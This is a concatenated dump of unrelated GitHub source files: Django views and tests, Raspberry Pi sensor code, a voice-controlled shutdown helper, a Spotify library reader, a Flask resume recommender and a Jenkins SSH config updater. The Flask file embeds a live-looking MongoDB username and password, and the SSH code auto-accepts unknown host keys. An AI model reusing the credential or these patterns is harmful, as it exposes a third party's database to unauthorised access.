###計算結果\n if obj_choices:\n obj_budget = request.POST['df_budget']\n insert_budget = BudgetModel(budget = obj_budget)\n insert_budget.save()\n result,images,result_file_name = cl.calculate(obj_choices,obj_date,obj_goal,obj_control,int(obj_budget))\n ##シミュレーション結果をデータベースへ保存\n insert_data_image = ImageURLModel(image_url_name = result_file_name)\n insert_data_image.save()\n\n return redirect('upload_form:result')\n else:\n obj_budget = ''\n result = ''\n images = ''\n budget_for_print = ''\n\n data = {\n 'input_data' : form,\n 'budget_for_print' : budget_for_print,\n }\n \n return render(request,'upload_form/choice_column.html',data)\n\ndef result(request):\n \n temp = ImageURLModel.objects.latest('id')\n csv_data = pd.read_csv(temp.image_url_name, encoding = 'utf-8') \n '''excel = pd.ExcelFile(temp.image_url_name,encoding = 'ms932')\n sheet_name = excel.sheet_names\n csv_data= excel.parse()'''\n images = csv_data['graph_url']\n image_names = csv_data['graph_name']\n \n budget = BudgetModel.objects.latest('id')\n data = {\n 'images' : images,\n 'image_names' : image_names,\n 'budget' : budget.budget,\n \n }\n \n return render(request,'upload_form/result.html',data)","repo_name":"norisuke39/cdn_set","sub_path":"upload_form/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4275257793","text":"import RPi.GPIO as GPIO\nimport _thread\nimport SDL_DS3231\nimport time\n\nfrom time import sleep\nfrom bmp280 import BMP280\nfrom smbus import SMBus\n\nfrom ina219 import INA219\nfrom ina219 import DeviceRangeError\n\nprint(\"Display of the sensor measurements: \")\n\n#Initialize the BMP280\nbus = SMBus(1)\nbmp280 = BMP280(i2c_dev=bus)\n#Initialize Led Pin\nledPin = 26\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(ledPin,GPIO.OUT)\n#Initialize Buzzer Pin\nbuzzPin = 19\nGPIO.setup(buzzPin,GPIO.OUT)\n#Initialize Clock DS3231\nds3231 = SDL_DS3231.SDL_DS3231(1, 0x68)\nds3231.write_now()\n#Initialize INA219\nSHUNT_OHMS = 0.1\nina = INA219(SHUNT_OHMS)\nina.configure()\n#Initialize Servomotor\nservoPin = 18\nGPIO.setup(servoPin,GPIO.OUT)\npwm=GPIO.PWM(servoPin,50) #50 hz\npwm.start(0)\n\ndef LedControl():\n while True:\n GPIO.output(ledPin,GPIO.HIGH)\n sleep(2)\n GPIO.output(ledPin,GPIO.LOW)\n sleep(2)\ndef BuzzerControl():\n while True:\n GPIO.output(buzzPin,GPIO.HIGH)\n sleep(2)\n GPIO.output(buzzPin,GPIO.LOW)\n sleep(2)\ndef BMP_280():\n while True:\n #BMP_280 only measures pressure\n #temperature = bmp280.get_temperature()\n #degree_sign = u\"\\N{DEGREE SIGN}\"\n #format_temp = \"{:.2f}\".format(temperature)\n #print('Temperature = ' + format_temp + degree_sign + 'C')\n pressure = bmp280.get_pressure()\n format_press = \"{:.2f}\".format(pressure)\n print('Pressure = ' + format_press + ' hPa')\n sleep(2)\n\ndef Clock():\n while True:\n print (\"Raspberry Pi=\\t\" + time.strftime(\"%Y/%m/%d, %H:%M:%S\"))\n print (\"Ds3231=\\t\\t%s\" % ds3231.read_datetime())\n sleep(2)\ndef Servo():\n ang=0\n signal = 2+(ang/18)\n while True:\n if ang>=181:\n ang=0\n signal = 2+(ang/18)\n GPIO.output(18,True)\n pwm.ChangeDutyCycle(signal)\n sleep(1)\n GPIO.output(18,False)\n pwm.ChangeDutyCycle(0)\n else:\n signal = 2+(ang/18)\n GPIO.output(18,True)\n pwm.ChangeDutyCycle(signal)\n sleep(1)\n GPIO.output(18,False)\n pwm.ChangeDutyCycle(0)\n ang=ang+10\n\n\n#Enable concurrent events\n#Voltage, led, buzzer, pressure, GPS, XBEE, servomotor,clock\n#Falta XBEE, GPS\n_thread.start_new_thread(LedControl,())\n_thread.start_new_thread(Clock,())\n_thread.start_new_thread(BMP_280,())\n_thread.start_new_thread(Servo,())\n#_thread.start_new_thread(BuzzerControl,())\n\n#Loop, Voltage as primary\nwhile(True):\n print(\"Bus Voltage: %0.2f V\\n\" % ina.voltage())\n sleep(2)\n","repo_name":"JavierM15/MkSat_2022","sub_path":"container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14667257722","text":"from modules import *\n\n\nclass shutdown:\n def takecommands(self):\n r = sr.Recognizer()\n with sr.Microphone() as source:\n self.speak(\"Listening\")\n print(\"Listening...\")\n r.pause_threshold = 0.7\n audio = r.listen(source, phrase_time_limit=5)\n try:\n self.speak(\"Recognizing\")\n print(\"Recognizing...\")\n query = r.recognize_google(audio, language=\"en-in\")\n print(\"The query is printed = '\", query, \"'\")\n except Exception as e:\n print(e)\n print(\"say that again please\")\n return \"None\"\n return query\n\n def speak(self, audio):\n engine = pyttsx3.init(\"sapi5\")\n voices = engine.getProperty(\"voices\")\n engine.setProperty(\"voice\", voices[1].id)\n engine.say(audio)\n engine.runAndWait()\n\n def quitself(self):\n self.speak(\"do you want to shutdown the computer?\")\n take = self.takecommands()\n choice = take\n if \"yes\" in choice:\n print(\"shutting down the computer...\")\n self.speak(\"shutting down the computer\")\n os.system(\"shutdown /s /t 10\")\n elif \"no\" in choice:\n print(\"thank you\")\n self.speak(\"thank you\")\n\n\ndef close():\n maam = shutdown()\n maam.quitself()\n","repo_name":"mehulverma26/Level1_AI","sub_path":"shutdown_computer.py","file_name":"shutdown_computer.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41033870981","text":"from django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase, APIClient\nfrom rest_framework.authtoken.models import Token\nfrom django.contrib.auth.models import User\nfrom .models import Event, Ticket, Account\n\n\nclass EventTests(APITestCase):\n data = {\n \"event_date_time\": \"2021-01-29T00:00:00Z\",\n \"name\": \"test event name\",\n \"description\": \"test event description\",\n \"price_regular\": 10.0,\n \"price_premium\": 20.0,\n \"price_vip\": 100.0,\n \"regular_tickets_number\": 1000,\n \"premium_tickets_number\": 500,\n \"vip_tickets_number\": 100,\n }\n url = reverse('event-list')\n\n\n def test_create_event_without_token(self):\n\n response_data = {\n \"detail\": \"Authentication credentials were not provided.\"\n }\n\n response = self.client.post(self.url, self.data, format='json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n self.assertEqual(response.data, response_data)\n\n def setUp(self):\n self.client = APIClient()\n self.user = User.objects.create_superuser('admin', 'admin@admin.com', 'admin123')\n self.token = Token.objects.create(user=self.user)\n self.event_fixture = Event.objects.create(event_date_time='2021-01-29 01:00:00+01', name='A$AP concert',\n description='A$AP concert longer description', price_regular=10, price_premium=20,\n price_vip=100, regular_tickets_number=1000, premium_tickets_number=500,\n vip_tickets_number=100)\n\n self.url_detail = reverse('event-detail', kwargs={'pk': self.event_fixture.pk})\n\n def test_create_event_with_token(self):\n self.client.force_login(user=self.user)\n response = self.client.post(self.url, self.data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 201)\n self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_list(self):\n self.client.force_login(user=self.user)\n response = self.client.get(self.url, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n # self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_detail(self):\n self.client.force_login(user=self.user)\n response = self.client.get(self.url_detail, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n expected_response_part = {\"description\": \"A$AP concert longer description\"}\n self.assertDictContainsSubset(expected_response_part, response.data)\n\n def test_event_put(self):\n self.client.force_login(user=self.user)\n response = self.client.put(self.url_detail, self.data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n self.assertDictContainsSubset(self.data, response.data)\n\n def test_event_patch(self):\n self.client.force_login(user=self.user)\n partial_data = {\"description\": \"patch description\"}\n response = self.client.patch(self.url_detail, partial_data, format='json', HTTP_AUTHORIZATION='Token ' + self.token.key)\n self.assertEqual(response.status_code, 200)\n self.assertDictContainsSubset(partial_data, response.data)\n\n\n","repo_name":"kamil1marczak/ticket-service","sub_path":"project/ticket_platform/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17580707859","text":"import networkx as nx\r\nG=nx.path_graph(4)\r\nthanhpho={0:\"tokyo\",1:\"berlin\",2:\"rome\",3:\"luan don\"}\r\nH=nx.relabel_nodes(G,thanhpho)\r\nprint(\"cac nut cua bieu do: \")\r\nprint(H.nodes())\r\nprint(\"cac canh cua bieu do: \")\r\nprint(H.edges())\r\nnx.draw(H)\r\nplt.savefig(\"path_graph_cities.png\")\r\nplt.show()\r\nG = nx.path_graph (10)\r\n\r\n\r\n","repo_name":"hanlucyen/test-Python","sub_path":"g.py","file_name":"g.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1439914400","text":"class Employee:\n\n num_employees = 0\n raise_amount = 1.04\n\n def __init__(self, first, last, pay):\n self.first = first\n self.last = last\n self.pay = pay\n self.email = first + '.' + last + '@company.com'\n Employee.num_employees += 1\n\n def fullname(self):\n return(' {} {} '.format(self.first, self.last))\n\n def appy_raise(self):\n self.pay = int(self.pay * self.raise_amount)\n\n @classmethod\n #makes it so insted of the instance we recive the class as the first\n #attribute\n def set_raise_amount(cls, amount):\n cls.raise_amount = amount\n\n @classmethod\n #usecase an alternative constructor\n def from_string(cls, emp_str):\n first, last, pay = emp_str.split('-')\n return cls(first, last, pay)\n\n @staticmethod\n #note; if you dont use self or cls you should consider to use static\n def is_workday(day):\n if day.weekday() > 4:\n return False\n return True\n\nemp_1 = Employee(\"test_con\", \"user_con\", 4000)\nemp_2 = Employee(\"hello_con\", \"world_con\", 6000)\n\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\nprint(emp_2.raise_amount)\n\nEmployee.set_raise_amount(1.10)\n\nprint(Employee.raise_amount)\nprint(emp_1.raise_amount)\nprint(emp_2.raise_amount)\n\nemp_str_1 = \"John-Doe-54444\"\nemp_str_2 = \"Tina-Tuna-4500\"\nemp_str_3 = \"Bob-Nope-99999\"\n\nfirst, last, pay = emp_str_1.split('-')\nemp_3 = Employee(first, last, pay)\n\nprint(emp_3.email)\n\nemp_4 = Employee.from_string(emp_str_2)\n\nprint(emp_4.email)\nprint(Employee.num_employees)\n\nimport datetime\nmy_date = datetime.date(2018, 4, 4)\nprint(Employee.is_workday(my_date))\n","repo_name":"gergely-kiss/Python-Basics_classes","sub_path":"class_classmethods_staticmethods.py","file_name":"class_classmethods_staticmethods.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6115510833","text":"from os import error\n\nfrom django.http.response import HttpResponseBadRequest\nfrom songs.authentication import authCode\nfrom django.shortcuts import render\nfrom datetime import datetime, timezone\nimport pytz\nimport boto3\nfrom botocore.exceptions import ClientError\nimport pandas as pd\nfrom dynamodb_json import json_util as json\n\n\ndef connectToDB():\n try:\n ddb = boto3.client('dynamodb', endpoint_url='http://localhost:3000')\n except ClientError as e:\n print(e)\n exit()\n return ddb\n\n\ndef libraryIndex(request):\n request.session['username'] = request.POST.get('username')\n return render(request, 'library/libraryIndex.html', {'results': request.session['username']})\n\n\ndef libraryRead(request):\n username = request.session['username']\n dynamoClient = connectToDB()\n print('connected')\n dbCheck = dynamoClient.list_tables()\n\n if f'{username}_library' in dbCheck['TableNames']:\n result = dynamoClient.scan(TableName=f'{username}_library')\n genres = dynamoClient.scan(TableName=f'{username}_genres')\n if result['Count'] > 0:\n return render(request, 'library/libraryRead.html', {'results': json.loads(result['Items']), 'genres': json.loads(genres['Items'])})\n\n client = authCode(\"user-library-read\", username)\n results = client.current_user_saved_tracks()\n tracks = results['items']\n\n while results['next']:\n results = client.next(results)\n tracks.extend(results['items'])\n\n trackTotal = len(tracks)\n\n trackCounter = 0\n # progressMarkers = multiples(trackTotal)\n\n utc = pytz.utc\n overallGenres = set()\n\n for item in tracks:\n # if trackCounter in progressMarkers:\n # print(f'{trackCounter}/{trackTotal} analyzed...')\n artistList = []\n genreList = set()\n\n timeAdded = item['added_at'][:-1]\n # this outputs 2021-11-11 19:26:58.506135+00:00 format, but i want 2019-01-30T16:48:47 for uniformity. Fix later\n entryTime = str(datetime.now(timezone.utc))\n\n trackObj = item['track']\n trackName = trackObj['name']\n trackUri = trackObj['uri']\n for artist in trackObj['artists']:\n artistList.append(artist['name'])\n\n artistResult = client.artist(artist['id'])\n if artistResult['genres'] == []:\n genreResult = ['none']\n else:\n genreResult = artistResult['genres']\n\n for genre in genreResult:\n genreList.add(genre)\n\n for genresPerArtist in genreList:\n for genre in genresPerArtist:\n overallGenres.add(genre)\n\n print(tuple(genreList))\n try:\n response = dynamoClient.put_item(\n TableName=f'{username}_library',\n Item={\n 'id': {'N': str(trackCounter)},\n 'name': {'S': trackName},\n 'artists': {'SS': artistList},\n 'genres': {'SS': tuple(genreList)},\n 'uri': {'S': trackUri},\n 'time_addded': {'S': timeAdded},\n 'entry_time': {'S': entryTime}\n }\n )\n\n print(f'ITEM ADDED:\\n{response}\\n')\n trackCounter += 1\n except ClientError as e:\n print(e)\n result = dynamoClient.scan(TableName=f'{username}_library')\n genres = dynamoClient.scan(TableName=f'{username}_genres')\n return render(request, 'library/libraryRead.html', {'results': json.loads(result['Items']), 'genres': json.loads(genres['Items'])})\n\n# ideally wouldn't need this second read, in prod it would just cost more capacity. Just here for testing + decoupling from the first function, although IDK if strictly necessary.\n# also, prob dont need the df now that i think about it because you can just read the result directly and iterate over that...\n# but hey, it works. next up is the frontend\n\n\ndef genreRead(request):\n username = request.session['username']\n dynamoClient = connectToDB()\n print('connected')\n result = dynamoClient.scan(TableName='aquinyo_library')\n df = pd.DataFrame(json.loads(result['Items']))\n print(df, file=open('df.txt', 'a'))\n\n genreDict = []\n overallGenres = set()\n\n for entry in df.iterrows():\n print(entry)\n print(entry[1]['genres'])\n for genre in entry[1]['genres']:\n overallGenres.add(genre)\n\n print(overallGenres)\n for genre in overallGenres:\n genreUris = []\n for entry in df.iterrows():\n if genre in entry[1]['genres']:\n genreUris.append(entry[1]['uri'])\n\n genreObj = {'genre': genre, 'occurrences': len(\n genreUris), 'uris': genreUris}\n genreDict.append(genreObj)\n\n idCount = 0\n for entry in genreDict:\n try:\n response = dynamoClient.put_item(\n TableName=f'{username}_genres',\n Item={\n 'id': {'N': str(idCount)},\n 'name': {'S': entry['genre']},\n 'occurrences': {'N': str(entry['occurrences'])},\n 'uris': {'SS': entry['uris']}\n }\n )\n print(f'ITEM ADDED:\\n{response}\\n')\n idCount += 1\n except ClientError as e:\n print(e)\n","repo_name":"ethanaquino258/django-spotify","sub_path":"library/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2367643","text":"import requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom io import BytesIO, StringIO\nfrom zipfile import ZipFile\nimport pandas as pd\n\ndef get_state_population():\n URL = \"https://www2.census.gov/programs-surveys/popest/datasets/2010-2019/state/detail/SCPRC-EST2019-18+POP-RES.csv\"\n d = requests.get(URL)\n df = pd.read_csv(StringIO(d.text))\n data = {}\n for i, r in df.iterrows():\n num = int(r['POPESTIMATE2019'])\n data[r['NAME']] = f'{num:,}'\n return data\n\ndef get_world_population():\n URL = \"https://en.wikipedia.org/wiki/List_of_countries_by_population_(United_Nations)\"\n r = requests.get(URL)\n html = BeautifulSoup(r.text, features='html.parser')\n table_div = html.findAll('table',{'class':'wikitable'})[1]\n rows = table_div.findAll('tr')\n data = {}\n for r in rows:\n cell = r.findAll('td')\n try:\n name = cell[0].get_text().strip()\n name = re.sub(r'\\[[a-z]\\]','', name)\n pop = cell[3].get_text().strip()\n data[name] = pop\n except:\n pass\n return data\n\ndef get_populations():\n d = {**get_world_population(), **get_state_population()}\n d['US'] = d.pop('United States')\n return d\n\nget_populations()\n","repo_name":"maxwell-yaron/covid-19","sub_path":"population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74069400040","text":"questions = [\n \"Is the project broken down into work packages and Tasks? \",\n \"Is the structure defined? \",\n \"Has The work packages and the tasks been assigned in the project structure plan? \",\n \"Has the tasks and work packages been coded? \",\n \"Has the completeness been checked? \"\n]\n\nquestion_answer = {}\n\n\ndef questionnaireFunc(q_list, q_a_list):\n print(\"Answer the questions with yes or no.\")\n for i in q_list:\n answer = input(i).lower()\n #assaining list item as key and item input as value\n q_a_list[i] = answer\n\n\nquestionnaireFunc(questions, question_answer)\n\n\ndef checkAnswers(q_a_list):\n if any(\"no\" in value for value in q_a_list.items()):\n print(\n \"For the following questions, work steps are apparently still pending in the planning:\"\n )\n for key, value in q_a_list.items():\n if value == \"no\":\n print(key)\n\n elif all(\"yes\" in value for value in q_a_list.items()):\n print(\n \"You have done a good job and can continue with the timing as planned.\"\n )\n\n\ncheckAnswers(question_answer)\n","repo_name":"illumi420/pyth","sub_path":"School_stuff/questionnaire.py","file_name":"questionnaire.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73712564520","text":"from flask import Flask\r\nfrom pymongo import MongoClient\r\nfrom Helper import Helper\r\nfrom flask import request\r\nfrom flask import json\r\nimport pymongo\r\nimport os\r\nimport pickle\r\n\r\napp = Flask(__name__)\r\n@app.route(\"/\")\r\n\r\ndef build_model():\r\n method = request.args.get('method')\r\n if method == 'build':\r\n helper = Helper()\r\n if not os.path.exists('active'):\r\n os.makedirs('active')\r\n else:\r\n helper.create_backup()\r\n \r\n connection = MongoClient('mongodb+srv://hrlanes-mongodb-reader:hrlanes%401234@hrlanes-production-i5mve.mongodb.net', 27017)\r\n db = connection['hrlanes-web-db']\r\n data = db['users']\r\n ex = data.find({\"$and\": [{'ProfileSummaryInfo': {\"$exists\": True}}, {'recommenderProcessed': {\"$exists\": True}}, {'recommenderProcessed': True }]})\r\n \r\n d = helper.createDictionary(ex)\r\n path = os.getcwd()+\"\\\\active\\\\\"\r\n with open(path+\"dictionary.pkl\", \"wb\") as output:\r\n pickle.dump(d, output)\r\n resumeList = []\r\n for key in d:\r\n if len(d[key])>0: # check if resumes/details exist \r\n doc_included = []\r\n for x in d[key]:\r\n resumeList.append(x[1])\r\n doc_included.append(x[0])\r\n documents = []\r\n for f in resumeList:\r\n documents.append(f)\r\n helper.create_tfidf(str(key), documents, doc_included)\r\n #reset recommenderProcessed to false\r\n '''filter = {\"$and\": [{'ProfileSummaryInfo': {\"$exists\": True}}, {'recommenderProcessed': {\"$exists\": True}}, {'recommenderProcessed': True }]}\r\n data.update_many(filter, {\"$set\": { \"recommenderProcessed\": False }})\r\n '''\r\n return 'okay'\r\n elif method == 'recommend':\r\n exp = request.args.get('e')\r\n farea = request.args.get('f')\r\n jd = request.args.get('jd')\r\n if exp and farea and jd:\r\n helper = Helper()\r\n jobd = helper.extract_text_from_url(jd) #for extracting text from pdf url -> from blob storage\r\n jobd = str(jd)\r\n preprocessed = helper.cleanTextAndTokenize(jobd) #tokenizing text\r\n sim_scores = helper.recommend(exp, farea, preprocessed) #returning candidate IDs\r\n if len(sim_scores)==0:\r\n return (\"Sorry! No matching candidates!\")\r\n response = app.response_class(\r\n response=json.dumps(str(dict(sim_scores))),\r\n status=200,\r\n mimetype='application/json')\r\n return response\r\n else:\r\n return \"Please enter exp, f area and jd in the request body!\"\r\n \r\n else:\r\n return \"Please enter the method in request body: build or recommend!\"\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"tejaspradhan/Flask-Trial","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70114561641","text":"#\n# https://leetcode.com/problems/perfect-squares/\n#\n# Given an integer n, return the least number of perfect square numbers that sum to n.\n#\n# A perfect square is an integer that is the square of an integer; \n# in other words, it is the product of some integer with itself. \n# For example, 1, 4, 9, and 16 are perfect squares while 3 and 11 are not.\n# \n\nfrom typing import List\nimport sys\nimport pdb\nbr = pdb.set_trace\n\nsolution_json = {\n \"date\": \"2022/10/15\",\n \"design\": 0,\n \"coding\": 0,\n \"runtime\": \"?? ms\",\n \"fasterThan\": \"\",\n \"memory\": \"?? MB\",\n \"bug\": \"Time Limit Exceeded\" \n}\n\n'''\nCase 1:\n 12 = 4 + 4 + 4\n 1, 4, 9\n\nCase 2:\n 13 = 4 + 9\n 1, 4, 9\n\n 13 = 9 + 4\n = 4 + 9\n = 1 + 12\n 12 = 9 + 3\n = 4 + 8\n = 1 + 11 \n 3 = 1 + 2\n 2 = 1 + 1\n 8 = 4 + 4\n = 1 + 7\n 4 = 1 + 3\n 7 = 4 + 3\n'''\nclass Solution:\n def __init__(self):\n self.module = sys.modules[__name__]\n\n def numSquares(self, n: int) -> int:\n dp = {}\n sqr_ls = []\n for i in range(1, n + 1):\n #print(i)\n sqr = i * i\n if sqr <= n:\n sqr_ls.append(sqr)\n dp[sqr] = [sqr]\n\n if i not in sqr_ls:\n build(i, dp)\n\n out = len(dp[n])\n return out\n\ndef build(n, dp):\n #print('n = %d' % n)\n found_ls = None\n for num, sql_ls in dp.items():\n n1 = n - num\n if n1 <= 0:\n break\n\n #print('n1 = %d' % n1)\n if n1 in dp:\n ls = dp[num] + dp[n1]\n #print('ls = %s' % ls)\n if found_ls == None:\n found_ls = ls \n elif len(ls) < len(found_ls):\n found_ls = ls \n\n #print(found_ls)\n assert n not in dp\n dp[n] = found_ls\n\n return\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"CountChu/LeetCodePython","sub_path":"learn_19_queue_and_stack/solutions/0279-perfect-squares-s2.py","file_name":"0279-perfect-squares-s2.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28217495096","text":"import concurrent.futures as pool\nimport threading\nimport time\n\nfrom huggingsound import SpeechRecognitionModel\npath_sound = '/opt/scripts/whisper_example/scratches/stress_test/sounds/5second'\nMAX_INSTANCE = 4\nnames = list(range(0, 1000))\n\n\ndef transcribe_file(model):\n th_name = threading.current_thread().name\n while len(names) > 0:\n filename = names.pop() % 10\n filepath = f'{path_sound}/{filename}.wav'\n print(f'run th_name={th_name} with filepath={filepath}')\n try:\n transcription = model.transcribe([f'{path_sound}/0.wav'])\n text = transcription[0]['transcription']\n\n print(f'end th_name={th_name} with filepath={filepath} and text={text}')\n except Exception as exp:\n print(exp)\n\n\nmodels = []\nfor rec in range(0, MAX_INSTANCE):\n print(rec)\n gpu_model = SpeechRecognitionModel(\"jonatasgrosman/wav2vec2-large-xlsr-53-russian\", device='cuda:0')\n models.append(gpu_model)\n # WARMUP\n warmup_transcription = gpu_model.transcribe([f'{path_sound}/0.wav'])\n\n\ntry:\n start_time = time.time()\n with pool.ThreadPoolExecutor(max_workers=MAX_INSTANCE) as executor:\n res = executor.map(transcribe_file, models)\n print(f\"full_time={(time.time() - start_time)}\")\nexcept Exception as e:\n print(e)\n","repo_name":"anydict/whisper_example","sub_path":"scratches/stress_test/wav2vec2_cuda_stress_test.py","file_name":"wav2vec2_cuda_stress_test.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20779284642","text":"import posixpath\nimport re\nimport logging\n\nfrom paramiko.client import *\n\nimport localUpdateJobs\n\n\nclass SSHConnection:\n def __init__(self):\n client = SSHClient()\n self.client = client\n\n def connect(self, host, usr, pwd):\n \"\"\"Establishes remote connection to host via SSH\n\n :param host: remote host\n :param usr: remote user\n :param pwd: remote password\n \"\"\"\n self.client.get_host_keys()\n self.client.set_missing_host_key_policy(AutoAddPolicy())\n self.client.connect(host, username=usr, password=pwd)\n\n def execute_command(self, command):\n stdin, stdout, stderr = self.client.exec_command(command)\n\n def has_error():\n if stderr.read().__len__() > 0:\n return True\n return False\n\n if not has_error():\n output = ''\n for line in stdout:\n output += line\n return output\n else:\n raise self.RemoteCmdError(stderr.read(), \"Error occurred during execution of command\")\n\n def sftp(self):\n return self.client.open_sftp()\n\n class RemoteCmdError(Exception):\n\n def __init__(self, expression, message):\n self.expression = expression\n self.message = message\n\n\nclass RemoteJenkinsParameters(localUpdateJobs.JenkinsParameters):\n def __init__(self, host, usr, pwd, config_path, root_dir='.'):\n super().__init__(config_path)\n self.ssh = SSHConnection()\n self.ssh.connect(host, usr, pwd)\n self.sftp_client = self.ssh.sftp()\n self.root_dir = root_dir\n\n def add_params(self, config_paths, param_list, mvn_property):\n \"\"\"Make a local copy of all remote configs. Adds/modifies parameters and mvn\n properties on local copy. Finally remote configs are overwritten by local\n files.\n\n :param config_paths: dictionary of config paths, where key is folder name and value is absolute path.\n Takes keys only.\n :param param_list: List of Parameters to add to each job config\n :param mvn_property: List of mvn_property tuples (key, value) example ('-dsome.dd, 'value')\n \"\"\"\n local_config_paths = self.copy_configs(config_paths.values(), deep_copy=False)\n selected_local_config_paths = self.filter_selected_local_config_paths(config_paths, local_config_paths)\n super().add_params(selected_local_config_paths, param_list, mvn_property)\n self.override_remote_config(config_paths, local_config_paths)\n\n @staticmethod\n def filter_selected_local_config_paths(config_paths, local_config_paths):\n \"\"\"Returns local config paths dictionary {jobName: config_path} using\n keys (jobNames(folder names)) to create new Dictionary\n\n :param config_paths: Dictionary with remote paths to config files\n :param local_config_paths: Dictionary with local copy of config paths\"\"\"\n selected_local_config_paths = {}\n for directory_name in config_paths.keys():\n selected_local_config_paths[directory_name] = local_config_paths[directory_name]\n return selected_local_config_paths\n\n def override_remote_config(self, config_paths, local_config_paths):\n \"\"\"Overrides all remote configs at given paths with configuration files\n stored locally (copied to local using copy_configs method)\n\n :param config_paths: Dictionary {jobName: config_path} pointing to remote config.xml file locations\n :param local_config_paths: Dictionary {jobName: config_path} pointing to local config.xml file locations\n \"\"\"\n for key in local_config_paths.keys():\n self.sftp_client.open(config_paths[key], 'w').write(open(local_config_paths[key]).read())\n\n def import_job_parameters(self, new_parameters, config_paths, with_mvn_params=False, src_config_path=''):\n local_config_paths = self.copy_configs(config_paths.values(), deep_copy=False)\n local_src_config_path = self.copy_configs([src_config_path])\n selected_local_config_paths = self.filter_selected_local_config_paths(config_paths, local_config_paths)\n super().import_job_parameters(new_parameters, selected_local_config_paths.values(), with_mvn_params,\n src_config_path=list(local_src_config_path.values())[0])\n self.override_remote_config(config_paths, local_config_paths)\n\n def read_job_all_parameters(self, config_path):\n local_config_path_copy = self.copy_configs([config_path], deep_copy=False)\n return super().read_job_all_parameters(list(local_config_path_copy.values())[0])\n\n def read_all_configs(self, root_dir):\n \"\"\"Returns parameters dictionary where key is job name\n and value is full path to config\n\n :param root_dir: root path for searching jobs\n\n \"\"\"\n config_paths = {}\n\n def push_config(path): config_paths[posixpath.split(path)[1]] = posixpath.join(path, 'config.xml')\n\n [push_config(path) for path in self._read_all_paths(root_dir)]\n return config_paths\n\n def _read_all_paths(self, root_dir):\n result = []\n self.sftp_client.listdir(root_dir)\n\n def is_jenkins_folder(path):\n has_jobs_folder = False\n has_folder_config = False\n if path.endswith('xml'):\n logging.debug(\"wrong check at {}\".format(path))\n return False\n for subdir in self.sftp_client.listdir(path):\n if not has_jobs_folder and subdir == 'jobs':\n has_jobs_folder = True\n if not has_folder_config and subdir == 'config.xml':\n has_folder_config = True\n folder = has_folder_config and has_jobs_folder\n if folder:\n logging.debug(\"{} is folder\".format(path)) # TODO mark path as directory in search result list\n return folder\n\n def contains_config(path):\n try:\n listdir = self.sftp_client.listdir(path)\n for child in listdir:\n if child == 'config.xml':\n return True\n return False\n except FileNotFoundError as err:\n logging.debug(err, path)\n return False\n\n for child in self.sftp_client.listdir(root_dir):\n if is_jenkins_folder(root_dir) and child == 'config.xml':\n result.append(root_dir)\n continue\n if child != 'config.xml' and re.match('.*\\\\.xml', child):\n continue\n path = posixpath.join(root_dir, child)\n if child == \"jobs\":\n result.extend(self._read_all_paths(path))\n continue\n elif child == 'builds' \\\n or child.endswith('Build') \\\n or child.startswith(\".\") \\\n or re.match('^\\s\\\\\\\\..*$', child) \\\n or child == 'lastStable' \\\n or child == 'lastSuccessful' \\\n or child == 'nextBuildNumber':\n continue\n elif is_jenkins_folder(path):\n result.extend(self._read_all_paths(path))\n continue\n elif contains_config(path):\n result.append(path)\n return result\n\n def read_config_file(self, path):\n temp = self.sftp_client.open(path)\n result = ''\n for line in temp:\n result += line\n return result\n","repo_name":"pustelnik/JenkinsJobsUpdate","sub_path":"remoteUpdateJobs.py","file_name":"remoteUpdateJobs.py","file_ext":"py","file_size_in_byte":7524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70029220839","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('varer', '0010_raavare_lenket_salgsvare'),\n ]\n\n operations = [\n 